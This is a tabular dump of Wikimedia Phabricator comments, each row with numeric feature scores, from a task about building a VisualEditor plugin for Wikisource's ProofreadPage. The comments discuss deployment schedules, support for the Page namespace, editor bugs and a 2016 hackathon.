I certainly would be happy to do some QA work on it, if given a decent window to work with.  i.e. I cant make any promises to help if the approach is: it is merged, and will be deployed in three days, happy hunting.",,,1461270188,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,2.0,0.0,0.0,1.5,1.0,6.0,1.0,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,6.0,14.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,1.5,3.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,14.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,4.0,5.5,1.5,3.0,8.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,6.0,14.5,0.5,0.5,0.0,0.0,6.0,0.0,0.0,2.5,0.0,1.0,0.5,0.0,0.5,3.6463414634146343,0.7317073170731707,"Is it safe to assume this feature will not suddenly become active and in use in production once code from this task is merged?  Sorry that I need to ask ... but I have been unpleasantly surprised in the past (definitely not referring to the developers active on this or related task), and I hope to avoid that occurring in this case.

I think WS folk would like to play with it a little in a test bed before it becomes active somehow, and will need longer than a few days as the deploy process moves from beta/test/prod.

I certainly would be happy to do some QA work on it, if given a decent window to work with.  i.e. I cant make any promises to help if the approach is: it is merged, and will be deployed in three days, happy hunting."
649397,Create a VisualEditor plugin to integrate with ProofreadPage,"Change 284681 had a related patch set uploaded (by Esanders):
WIP Sectioned edit target for page namespace

[[https://gerrit.wikimedia.org/r/284681]]
",,,1461240057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8888888888888888,"Change 284681 had a related patch set uploaded (by Esanders):
WIP Sectioned edit target for page namespace

[[GERRIT_URL]]
"
648944,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2214028, @Ankry wrote:
> We are still waitng for Page namespace support which is the main editing namespace for most wikisources. Moreover, many new wikisourcians edit **only** in the Page namespace. The general trend is to have articles in main namespace automatically or semi-automatically generated basing on data from Index and Page namespaces. So having VE support in main namespace may be a nice feature, but mostly useless.

Indeed.  Having VE there at all was a preliminary requirement, not the end result.  :-)",,,1461168206,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,21.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5833333333333335,0.875,"QUOTE
QUOTE

Indeed.  Having VE there at all was a preliminary requirement, not the end result.  :-)"
648120,Create a VisualEditor plugin to integrate with ProofreadPage,"i noted some buggy interaction for the insert > pages, initially rather than subsequenly editing pages template https://www.mediawiki.org/wiki/VisualEditor/Feedback",,,1461083185,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.157894736842105,0.9473684210526315,"i noted some buggy interaction for the insert > pages, initially rather than subsequenly editing pages template URL"
648117,Create a VisualEditor plugin to integrate with ProofreadPage,i noted some buggy interaction for the insert > pages initially rather than subsequenty editing pages template https://www.mediawiki.org/wiki/VisualEditor/Feedback,,,1461083004,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.388888888888889,0.9444444444444444,i noted some buggy interaction for the insert > pages initially rather than subsequenty editing pages template URL
648108,Create a VisualEditor plugin to integrate with ProofreadPage,i noted some buggy interaction for the insert > pages initially rather than editing pages https://www.mediawiki.org/wiki/VisualEditor/Feedback,,,1461082519,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,4.875,0.9375,i noted some buggy interaction for the insert > pages initially rather than editing pages URL
647298,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2213983, @Qgil wrote:
> What is missing to consider this task Resolved?

We are still waitng for Page namespace support which is the main editing namespace for most wikisources. Moreover, many new wikisourcians edit **only** in the Page namespace. The general trend is to have articles in main namespace automatically or semi-automatically generated basing on data from Index and Page namespaces. So having VE support in main namespace may be a nice feature, but mostly useless.
",,,1460986863,,PHID-USER-2ji2k3idgmipacu4ftck,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,1.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,14.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,4.395061728395062,0.7037037037037037,"QUOTE
QUOTE

We are still waitng for Page namespace support which is the main editing namespace for most wikisources. Moreover, many new wikisourcians edit **only** in the Page namespace. The general trend is to have articles in main namespace automatically or semi-automatically generated basing on data from Index and Page namespaces. So having VE support in main namespace may be a nice feature, but mostly useless.
"
647288,Create a VisualEditor plugin to integrate with ProofreadPage,"What is missing to consider this task Resolved?

I am trying to summarize the progress on this task at https://meta.wikimedia.org/wiki/Wikimedia_Blog/Drafts/WIP_Wikimedia_Hackathon_2016_post#The_connection_with_the_Community_Wishlist. Is there any beautiful screenshot in Commons that we can reuse?",,,1460985360,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,146,,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,3.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.147058823529412,0.8823529411764706,"What is missing to consider this task Resolved?

I am trying to summarize the progress on this task at URL Is there any beautiful screenshot in Commons that we can reuse?"
642897,Create a VisualEditor plugin to integrate with ProofreadPage,This was deployed in the new Single Edit Tab mode.  The basic explanation is at https://www.mediawiki.org/wiki/VisualEditor/Single_edit_tab if anyone is looking for information.,,,1460150503,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,144,,0.0,4.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,24.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.92,This was deployed in the new Single Edit Tab mode.  The basic explanation is at URL if anyone is looking for information.
642135,Create a VisualEditor plugin to integrate with ProofreadPage,"Insert -> Pages -> there is no ""onlysection"" attribute

Z.",,,1460051560,,PHID-USER-zg5ljrw5inhmynt7vcfd,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.3333333333333335,0.8,"Insert -> Pages -> there is no ""onlysection"" attribute

Z."
642106,Create a VisualEditor plugin to integrate with ProofreadPage,works well in chrome and firefox. saved first new article.,,,1460048163,,PHID-USER-uclm66q7d2hquzahxskz,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,works well in chrome and firefox. saved first new article.
639846,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2173976, @Jdforrester-WMF wrote:
> Clarification: This will be for all Wikisources, not just frws. :-)

Oh, yeah.  Good point.  It will be available (selectable from the beta features selector) on all Wikisources.
",,,1459688948,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,143,,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.566666666666667,0.8333333333333334,"QUOTE
QUOTE

Oh, yeah.  Good point.  It will be available (selectable from the beta features selector) on all Wikisources.
"
639612,Create a VisualEditor plugin to integrate with ProofreadPage,">>! In T48580#2172585, @coren wrote:
> @Jdforrester-WMF is planning to turn the configuration switch on April 7.
> 
> At that point, Visual Editor will become available as a beta feature on fr.wikisource.org for all content namespaces except Page (that's the next part being worked on now).

Clarification: This will be for all Wikisources, not just frws. :-)
",,,1459667947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,143,,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,30.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.7391304347826086,"QUOTE
QUOTE
QUOTE
QUOTE

Clarification: This will be for all Wikisources, not just frws. :-)
"
639323,Create a VisualEditor plugin to integrate with ProofreadPage,"Current status: we now have a proper design for Page namespace that is in progress but - as a first step - we now have usable mainspace editing with Visual Editor (including the transclusion tag).  This is currently working on a test server, and is scheduled for the deployment train Tueseday, Apr 5 (and deployed on group 1 that inlcludes the Wikisources on Apr 6).

@Jdforrester-WMF is planning to turn the configuration switch on April 7.

At that point, Visual Editor will become available as a beta feature on fr.wikisource.org for all content namespaces except Page (that's the next part being worked on now).
",,,1459604047,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,143,,1.0,0.0,0.0,1.5,0.0,4.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,11.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.5,0.0,11.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.5,3.0,11.0,1.0,1.5,8.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,1.0,11.0,9.0,0.0,0.0,0.0,1.0,0.0,1.5,2.5,0.0,2.5,0.0,0.0,0.0,4.103942652329749,0.8000512032770097,"Current status: we now have a proper design for Page namespace that is in progress but - as a first step - we now have usable mainspace editing with Visual Editor (including the transclusion tag).  This is currently working on a test server, and is scheduled for the deployment train Tueseday, Apr 5 (and deployed on group 1 that inlcludes the Wikisources on Apr 6).
SCREEN_NAME-WMF is planning to turn the configuration switch on April 7.

At that point, Visual Editor will become available as a beta feature on fr.wikisource.org for all content namespaces except Page (that's the next part being worked on now).
"
618733,Create a VisualEditor plugin to integrate with ProofreadPage,"> I will be in Jerusalem, and will concentrate on coordinating work on this task while there (as well as hack on it myself).
Great! I'll be in Jerusalem too and willing to work on it.",,,1456517911,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,138,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,12.0,18.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1176470588235294,1.0,"QUOTE
Great! I'll be in Jerusalem too and willing to work on it."
618712,Create a VisualEditor plugin to integrate with ProofreadPage,"I will be in Jerusalem, and will concentrate on coordinating work on this task while there (as well as hack on it myself).",,,1456515851,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,138,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,7.0,4.0,7.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,22.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.7037037037037037,0.8518518518518519,"I will be in Jerusalem, and will concentrate on coordinating work on this task while there (as well as hack on it myself)."
594320,Create a VisualEditor plugin to integrate with ProofreadPage,"IMPORTANT:  **If you are a community developer interested in working on this task:** The [[ https://www.mediawiki.org/wiki/Wikimedia_Hackathon_2016 | Wikimedia Hackathon 2016 ]] (Jerusalem, March 31 - April 3) focuses on #Community-Wishlist-Survey projects. There is some budget for sponsoring volunteer developers. THE DEADLINE TO REQUEST TRAVEL SPONSORSHIP IS TODAY, JANUARY 21. Exceptions can be made for developers focusing on Community Wishlist projects until the end of Sunday 24, but not beyond. If you or someone you know is interested, please [[ https://www.mediawiki.org/wiki/Wikimedia_Hackathon_2016 | REGISTER NOW ]].",,,1453388008,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,True,,,133,,0.5,1.0,0.0,1.0,1.0,1.5,1.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,2.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,2.5,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,22.0,1.5,2.0,4.0,0.0,0.0,0.0,0.5,1.0,1.0,3.5,0.0,2.5,9.0,11.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,2.0,0.0,0.0,2.5,4.0181818181818185,0.8545454545454545,"IMPORTANT:  **If you are a community developer interested in working on this task:** The [[ URL | Wikimedia Hackathon 2016 ]] (Jerusalem, March 31 - April 3) focuses on #Community-Wishlist-Survey projects. There is some budget for sponsoring volunteer developers. THE DEADLINE TO REQUEST TRAVEL SPONSORSHIP IS TODAY, JANUARY 21. Exceptions can be made for developers focusing on Community Wishlist projects until the end of Sunday 24, but not beyond. If you or someone you know is interested, please [[ URL | REGISTER NOW ]]."
429530,Create a VisualEditor plugin to integrate with ProofreadPage,@Jdforrester-WMF are you able to add some guidance here?,,,1426811015,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,89,,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,SCREEN_NAME-WMF are you able to add some guidance here?
429209,Create a VisualEditor plugin to integrate with ProofreadPage,"What can we do, as community members, to raise the priority of this? It is **really** important for Wikisource to have the VE active within the Page namespace. It is probably the most needed feature of Wikisource projects, and it would be an important testbed for the VE itself: Wikisource books are heavily formatted, much more than Wikipedia articles. ",,,1426782168,,PHID-USER-jhzyhftzsmppvszocqg2,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,3,False,,,89,,1.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,14.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,14.0,8.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,4.154929577464789,0.7183098591549296,"What can we do, as community members, to raise the priority of this? It is **really** important for Wikisource to have the VE active within the Page namespace. It is probably the most needed feature of Wikisource projects, and it would be an important testbed for the VE itself: Wikisource books are heavily formatted, much more than Wikipedia articles. "
212194,Create a VisualEditor plugin to integrate with ProofreadPage,"(In reply to comment #2)
> This data should be in a queryable format. The current format sucks and should
> be abandoned. If there's not already a bug filed about this, please file one.
Done (bug 46724). But before doing anything on this direction, a refactoring of the wikitext edition interface is needed because the current system is closely based on this storage format (bug 46578).",,,1364657586,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,1,False,,,-14,,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8846153846153846,0.75,"(In reply to comment #2)
QUOTE
QUOTE
Done (bug 46724). But before doing anything on this direction, a refactoring of the wikitext edition interface is needed because the current system is closely based on this storage format (bug 46578)."
212191,Create a VisualEditor plugin to integrate with ProofreadPage,"(In reply to comment #0)
> note 1: structure of the page as save in the database:
> <noinclude><pagequality level=""LEVEL"" user=""LAST PROOFREADER"" />HEADER<div
> class=""pagetext"">BODY<noinclude>FOOTER</noinclude>

This data should be in a queryable format. The current format sucks and should be abandoned. If there's not already a bug filed about this, please file one.

(In reply to comment #1)
> How would we go with looking to put the user into the API?  That information
> would be useful to present through the 'page information' so it is
> presentable via 'action=info'.  At the moment one has to pull the page data to
> get the user info, while the proofread status is already captured. Well that
> is my limited understanding of the data.

action=info is part of index.php, not api.php. That is, the info action is part of the (graphical) user interface, not part of the MediaWiki API. This bug should just be about a single issue. Adding this type of information to the info action can be a dependent bug of this bug. There may be such a page filed already, maybe.

Basically, once the data is queryable, both the info action and the MediaWiki API modules can pull the data out easily. But that's at least three separate bugs (and probably many more).",,,1364449830,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,1,False,,,-14,,0.5,0.0,0.0,0.5,1.5,5.5,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,7.0,9.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,3.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,15.5,1.0,2.5,0.0,1.5,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,4.0,12.0,1.0,2.5,12.0,0.0,0.0,0.0,1.0,4.5,0.5,2.5,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.5,0.5,0.0,3.5647741147741145,0.6080586080586081,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

This data should be in a queryable format. The current format sucks and should be abandoned. If there's not already a bug filed about this, please file one.

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

action=info is part of index.php, not api.php. That is, the info action is part of the (graphical) user interface, not part of the MediaWiki API. This bug should just be about a single issue. Adding this type of information to the info action can be a dependent bug of this bug. There may be such a page filed already, maybe.

Basically, once the data is queryable, both the info action and the MediaWiki API modules can pull the data out easily. But that's at least three separate bugs (and probably many more)."
